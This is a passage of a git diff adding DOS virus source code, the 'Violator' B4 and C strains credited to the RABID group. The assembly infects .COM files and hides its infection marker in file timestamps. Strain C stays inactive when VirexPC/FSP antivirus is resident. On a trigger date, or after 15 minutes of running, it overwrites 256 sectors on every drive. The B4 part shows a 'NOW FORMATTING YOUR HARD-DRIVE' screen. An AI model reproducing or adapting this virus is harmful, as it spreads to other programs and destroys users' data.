DX,wrk_spc ;Offset to \path\name in workspace + ADD DX,SI ;Point to \path\name + CALL filter + JNB opened_ok ;If file was opened OK + JMP fix_attr ;If it failed, restore the attributes + +opened_ok: + INC times ; Add one to the times counter so + ; that we can keep track off how many + ; files we have infected... + MOV BX,AX + MOV AX,OFFSET 5700H + CALL filter + MOV [SI+old_tim],CX ;Save file time + MOV [SI+ol_date],DX ;Save the date + MOV AH,2CH + CALL filter + MOV AH,3FH + MOV CX,3 + MOV DX,first_3 + ADD DX,SI + CALL filter + JB fix_time_stamp ;Quit, if read failed + CMP AX,3 ;Were we able to read all 3 bytes? + JNZ fix_time_stamp ;Quit, if not + MOV AX,OFFSET 4202H + MOV CX,0 + MOV DX,0 + CALL filter + JB fix_time_stamp ;Quit, if it didn't work + MOV CX,AX ;DX:AX (long int) = file size + SUB AX,3 ;Subtract 3 (DX must be 0, here) + MOV [SI+jmp_dsp],AX ;Save the displacement in a JMP inst + ADD CX,OFFSET c_len_y + MOV DI,SI ;Point DI to virus data area + SUB DI,OFFSET c_len_x + MOV [DI],CX + MOV AH,40H + MOV CX,virlen ;Length of virus, in bytes + MOV DX,SI + SUB DX,OFFSET codelen ;Length of virus code, gives starting + ;address of virus code in memory + CALL filter + JB fix_time_stamp ;Jump if error + CMP AX,OFFSET virlen ;All bytes written? + JNZ fix_time_stamp ;Jump if error + MOV AX,OFFSET 4200H + MOV CX,0 + MOV DX,0 + CALL filter + JB fix_time_stamp ;Jump if error + MOV AH,40H + MOV CX,3 + MOV DX,SI ;Virus data area + ADD DX,jmp_op ;Point to the reconstructed JMP + CALL filter + +fix_time_stamp: + MOV DX,[SI+ol_date] ;Old file date + MOV CX,[SI+old_tim] ;Old file time + AND CX,OFFSET 0FFE0H + OR CX,1CH ;Make timestamp with the infected + ;seconds!!! + MOV AX,OFFSET 5701H + CALL filter + MOV AH,3EH + CALL filter + +fix_attr: + MOV AX,OFFSET 4301H + MOV CX,[SI+old_att] ;Old Attributes + MOV DX,wrk_spc + ADD DX,SI ;DX points to \path\name in workspace + CALL filter + +all_done: + PUSH DS + MOV AH,1AH + MOV DX,[SI+old_dta] + MOV DS,[SI+old_dts] + CALL filter + POP DS + + +;************************************************************************* +; Clear registers used, & do a weird kind of JMP 100. The weirdness comes +; in since the address in a real JMP 100 is an offset, and the offset +; varies from one infected file to the next. By PUSHing an 0100H onto the +; stack, we can RET to address 0100H just as though we JMPed there. +;********************************************************************** + +quit: + POP CX + XOR AX,AX + XOR BX,BX + XOR DX,DX + XOR SI,SI + MOV DI,OFFSET 0100H + PUSH DI + XOR DI,DI + RET 0FFFFH + +vir_dat EQU $ + +month db 12 ;Set month to December +day db 25 ;Set day to Christmas +intro db 13,10 + DB 'Violator Strain B4 - Written by The RABID Nat''nl Development Corp.',13,10 + DB ' RABID would like to take this opportunity to extend it''s sincerest',13,10 + db ' holiday wishes to all Pir8 lamers around the world! If you are',13,10 + db ' reading this, then you are lame!!!',13,10 + db ' Anyway, to John McAffe! Have a Merry Christmas and a virus filled',13,10 + db ' new year. Go ahead! Make our day!',13,10,13,10 + db ' Remember! In the festive season, Say NO to drugs!!! They suck shit!',13,10 + db '(Bah! We make a virus this large, might as well have something positive!)',13,10 +marker DB 0 ;Marker for INT purposes +counter DB 2 ;Counter for drives +times DB 0 +ansi DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,'T',15,'H',15,'E',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,'',9,'',9,'',9,'',9,'' + DB 9,'',9,'',9,'',9,'',9,'',9,'',9,'',9,'',15,'' + DB 15,'',15,'',15,'',15,'',15,'',15,'',15,'',15,'' + DB 15,'',9,'',9,'',9,'',9,'',9,'',9,'',9,'',9,'' + DB 9,'',12,'',12,'',12,'',12,'',12,'',12,'',12,'' + DB 12,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,'',9,' ',9,' ',9,' ',9,'',9,'',9,'',9,' ' + DB 9,' ',9,'',9,'',9,' ',9,' ',9,'',15,'',15,' ',15,' ' + DB 15,'',15,'',15,' ',15,' ',15,' ',15,'',9,'',9,' ' + DB 9,' ',9,'',9,'',9,' ',9,' ',9,'',9,'',12,' ',12,' ' + DB 12,' ',12,'',12,'',12,' ',12,'',12,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,'',9,' ' + DB 9,' ',9,' ',9,'',9,' ',9,'',9,' ',9,' ',9,'',9,'' + DB 15,' ',15,' ',15,'',15,'',15,' ',15,' ',15,'',15,'' + DB 15,' ',15,' ',15,' ',15,'',9,'',9,' ',9,' ',9,'',9 + DB '',9,' ',9,' ',9,'',12,'',12,' ',12,' ',12,' ',12,'' + DB 12,'',12,' ',12,'',9,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,'',9,' ',9,' ',9,' ',9 + DB '',9,'',9,'',9,' ',9,' ',9,'',15,'',15,' ',15,' ' + DB 15,'',15,'',15,' ',15,' ',15,'',15,'',15,' ',15,' ' + DB 15,' ',15,'',9,'',9,' ',9,'',9,'',9,'',9,' ',9,' ' + DB 9,'',12,'',12,' ',12,' ',12,' ',12,'',12,'',12,' ' + DB 12,'',9,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,'',1,' ',1,' ',1,'',1,'',1,'',1,' ' + DB 1,' ',1,'',15,'',15,'',15,' ',15,' ',15,'',15,'' + DB 15,' ',15,' ',15,'',15,'',15,' ',15,' ',15,' ',15,'' + DB 1,'',1,' ',1,'',1,'',1,'',12,' ',12,' ',12,'',12 + DB '',12,' ',12,' ',12,' ',12,'',12,'',1,' ',1,'',1,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,'',1,' ',1,' ',1,'',1,' ',1,'',1,'',1,' ',1,'' + DB 15,'',15,'',15,' ',15,' ',15,'',15,'',15,' ',15,' ' + DB 15,'',15,'',15,' ',15,' ',15,' ',15,'',1,'',1,' ' + DB 1,' ',1,'',1,'',12,' ',12,' ',12,'',12,'',12,' ',12 + DB ' ',12,' ',12,'',1,'',1,' ',1,'',1,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,'',1,' ' + DB 1,' ',1,'',1,' ',1,' ',1,'',15,' ',15,' ',15,'',15 + DB '',15,' ',15,' ',15,'',15,'',15,' ',15,' ',15,'',15 + DB '',1,' ',1,' ',1,' ',1,'',1,'',1,' ',1,' ',1,'',12 + DB '',12,' ',12,' ',12,'',12,'',12,' ',12,' ',12,' ',12 + DB '',1,'',1,' ',1,'',1,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,'',1,'',1,'',1,'',1 + DB ' ',1,' ',1,'',15,'',15,'',15,'',15,'',15,'',15 + DB '',15,'',15,'',15,'',15,'',15,'',1,'',1,'',1,'' + DB 1,'',1,'',1,'',1,'',1,'',1,'',12,'',12,'',12,'' + DB 12,'',12,'',12,'',12,'',1,'',1,'',1,'',1,'',1 + DB '',1,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,'N',15,'a',15 + DB 't',15,'i',15,'o',15,'n',15,'a',15,'l',15,' ',15,'D',15 + DB 'e',15,'v',15,'e',15,'l',15,'o',15,'p',15,'m',15,'e',15 + DB 'n',15,'t',15,' ',15,'C',15,'o',15,'r',15,'p',15,'o',15 + DB 'r',15,'a',15,'t',15,'i',15,'o',15,'n',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,'.',7,'.',7,'.',7,'w',7,'o',7,'u',7,'l',7,'d',7 + DB ' ',7,'l',7,'i',7,'k',7,'e',7,' ',7,'t',7,'o',7,' ',7 + DB 't',7,'a',7,'k',7,'e',7,' ',7,'t',7,'h',7,'i',7,'s',7 + DB ' ',7,'o',7,'p',7,'p',7,'o',7,'u',7,'r',7,'t',7,'u',7 + DB 'n',7,'i',7,'t',7,'y',7,' ',7,'t',7,'o',7,' ',7,'s',7 + DB 'p',7,'r',7,'e',7,'a',7,'d',7,' ',7,'i',7,'t',7,39,7,'s' + DB 7,' ',7,'s',7,'i',7,'n',7,'c',7,'e',7,'r',7,'e',7,'s' + DB 7,'t',7,' ',7,'w',7,'i',7,'s',7,'h',7,'e',7,'s',7,' ' + DB 7,'o',7,'f',7,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,'a',7,' ',7 + DB 'v',7,'e',7,'r',7,'y',7,' ',7,'m',7,'e',7,'r',7,'r',7 + DB 'y',7,' ',7,'C',7,'h',7,'r',7,'i',7,'s',7,'t',7,'m',7 + DB 'a',7,'s',7,' ',7,'S',7,'e',7,'a',7,'s',7,'o',7,'n',7 + DB '.',7,' ',7,'H',7,'a',7,'v',7,'e',7,' ',7,'a',7,' ',7 + DB 'v',7,'i',7,'r',7,'u',7,'s',7,' ',7,'f',7,'i',7,'l',7 + DB 'l',7,'e',7,'d',7,' ',7,'n',7,'e',7,'w',7,' ',7,'y',7 + DB 'e',7,'a',7,'r',7,'!',7,'!',7,'!',7,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,'N',132,'O',132 + DB 'W',132,' ',132,'F',132,'O',132,'R',132,'M',132,'A',132 + DB 'T',132,'T',132,'I',132,'N',132,'G',132,' ',132,'Y',132 + DB 'O',132,'U',132,'R',132,' ',132,'H',132,'A',132,'R',132 + DB 'D',132,'-',132,'D',132,'R',132,'I',132,'V',132,'E',132 + DB '!',132,'!',132,'!',132,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,15,142,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 6,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,'',10,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,'',10,'',10,'',10,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,'' + DB 10,'',10,'',10,'',10,'',10,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,'',10,'' + DB 10,'',10,'',10,'',10,'',10,'',10,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,'',10,'',10,'' + DB 10,'',10,'',10,'',10,'',10,'',10,'',10,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,'',10,'',10,'',10,'' + DB 10,'',10,'',10,'',10,'',10,'',10,'',10,'',10,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,'',10,'',10,'',10,'',10,'' + DB 10,'',10,'',10,'',10,'',10,'',10,'',10,'',10,'' + DB 10,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,'',6,'',6,'',6,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',6,' ',6,' ',6,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ' + DB 6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ' + DB 6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ' + DB 6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ' + DB 6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ' + DB 6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ' + DB 6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ' + DB 6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ' + DB 6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ' + DB 6,' ',6 + +olddta_ DW 0 +olddts_ DW 0 +oldtim_ DW 0 +oldate_ DW 0 +oldatt_ DW 0 +first3_ EQU $ + INT 20H + NOP +jmpop_ DB 0E9H +jmpdsp_ DW 0 +pathad_ DW 0 +namptr_ DW 0 +envstr_ DB 'PATH=' +fspec_ DB '*.COM',0 +wrkspc_ DB 40h dup (0) +dta_ DB 16h dup (0) +dtatim_ DW 0,0 +dtalen_ DW 0,0 +dtanam_ DB 0Dh dup (0) +lst_byt EQU $ + +virlen = lst_byt - v_start +codelen = vir_dat - v_start +c_len_x = vir_dat - v_start - 2 +c_len_y = vir_dat - v_start + 100H +old_dta = olddta_ - vir_dat +old_dts = olddts_ - vir_dat +old_tim = oldtim_ - vir_dat +ol_date = oldate_ - vir_dat +old_att = oldatt_ - vir_dat +first_3 = first3_ - vir_dat +jmp_op = jmpop_ - vir_dat +jmp_dsp = jmpdsp_ - vir_dat +f_spec = fspec_ - vir_dat +path_ad = pathad_ - vir_dat +nam_ptr = namptr_ - vir_dat +env_str = envstr_ - vir_dat +wrk_spc = wrkspc_ - vir_dat +dta = dta_ - vir_dat +dta_tim = dtatim_ - vir_dat +dta_len = dtalen_ - vir_dat +dta_nam = dtanam_ - vir_dat + + CODE ENDS +END VCODE + + \ No newline at end of file diff --git a/v/VIOL-C.ASM b/v/VIOL-C.ASM new file mode 100755 index 0000000..6e0a28a --- /dev/null +++ b/v/VIOL-C.ASM @@ -0,0 +1,441 @@ +; +; Violator Strain C - "Violator strikes again..." +; +; Written by The High Evolutionary +; RABID International Development Corp. +; + +; +; Here are the equates for when the virus will destroy media +; + +month equ 6 ;Set month to June +day equ 22 ;Set day to the 22nd +year equ 1991 ;Set year to 1991 + +sectors equ 256 ;Fry 256 sectors on the diskette +lastdrv equ 26 ;Set lastdrive to be fried here + + +CODE SEGMENT + ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE + ORG $+0100H + +@write macro drive,sec,buf + pushf ; Push all flags onto the stack + mov al,drive ; Select drive to write + mov cx,sec ; Choose amount of sectors + mov dx,0 ; Set format to start at sec. 0 + mov bx,offset buf ; Set format to have intro + ; string imbedded in sector 0 + int 26h ; Call BIOS to write drive + popf ; Restore the flags we pushed +endm + + +violator: + JMP virus + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + +v_start equ $ + +virus: PUSH CX + MOV DX,OFFSET vir_dat ;This is where the virus data starts. + ; The 2nd and 3rd bytes get modified. + CLD ;Pointers will be auto INcremented + MOV SI,DX ;Access data as offset from SI + ADD SI,first_3 ;Point to original 1st 3 bytes of .COM + MOV DI,OFFSET 100H ;`cause all .COM files start at 100H + MOV CX,3 + REPZ MOVSB ;Restore original first 3 bytes of .COM + MOV SI,DX ;Keep SI pointing to the data area +; +; This routine here will check to see if FSP or VirexPC is active. If it is, +; then we will not run as to avoid detection... +; +; This is done by using some wierd undocumented DOS call which I've never seen +; before, but nonetheless, it does the job... +; + + mov ax,0ff0fh ;Check memory marker + int 21h + cmp ax,101h ;Is the marker for VirexPC/FSP resident + + jne year_check ;No? Continue with the virus + jmp quit ;Yes! Terminate the virus + +year_check: + MOV AH,2AH ; Get date info + INT 21h ; + CMP CX,year ; Check if it's (year) + jb get_space ; Not the year, then must be an + ; XT... + JGE month_check ; Yes? Check the month + JMP do_shit ; No? Go to infection routine + +month_check: + mov ah,2ah + int 21h + CMP DH,month ; Check if it's (month) + JGE day_check ; Yeah? Check the day + JMP do_shit ; No? Infect a phile + +day_check: + CMP DL,day ; Check if it's (day) + JGE fry_drives ; Yeah? Kill all drives + JMP do_shit ; No? Infect a poor guy! + +get_space: + cmp cx,1990 ; Did we change the clock? + je was_changed ; Yes we did. Continue... +; +; We only get here if the date is not 1990 +; + mov ah,2bh + mov cx,1990 ; Set date to 1990 + int 21h + mov ah,2dh + mov cl,1 ; Set minutes to 1 + int 21h + +; +; We only get here is the date is 1990. Check clock... +; + +was_changed: + mov ah,2ch + int 21h ; Get time + cmp cl,15 ; 15 minutes... + jae fry ; Have we been run after 15 + ; minutes of usage? Yes! Fry! + jmp month_check ; No! Continue... + +; +; Only print this if it's June 22nd, 1991 +; + +fry_drives: + mov ah,9 + mov dx,si ; Load DX with SI segment + add dx,strike ; Print out a message + int 21h + +fry: cmp byte ptr [si+drv],lastdrv ; Check to see if the last + ; drive is fried + ja do_shit ; If yeah. Then gedoudahere + @write [si+drv],256,intro ; No? Then fry the drive... + inc byte ptr [si+drv] ; Increment for the next drive + jmp fry ; Then go up and fry another + +do_shit:PUSH ES ; Push ES onto the stack + MOV AH,2FH + INT 21H + MOV [SI+old_dta],BX + MOV [SI+old_dts],ES ;Save the DTA address from ES + POP ES ;Restore the original ES segment + MOV DX,dta ;Offset of new DTA in virus data area + ADD DX,SI ;Compute DTA address + MOV AH,1AH + INT 21H ;Set new DTA to inside our own code + PUSH ES ;Push ES onto the stack + PUSH SI ;Push the source index + MOV ES,DS:2CH + MOV DI,0 ;ES:DI points to environment + +find_path: + POP SI + PUSH SI ;Get SI back + ADD SI,env_str ;Point to "PATH=" string in data area + LODSB + MOV 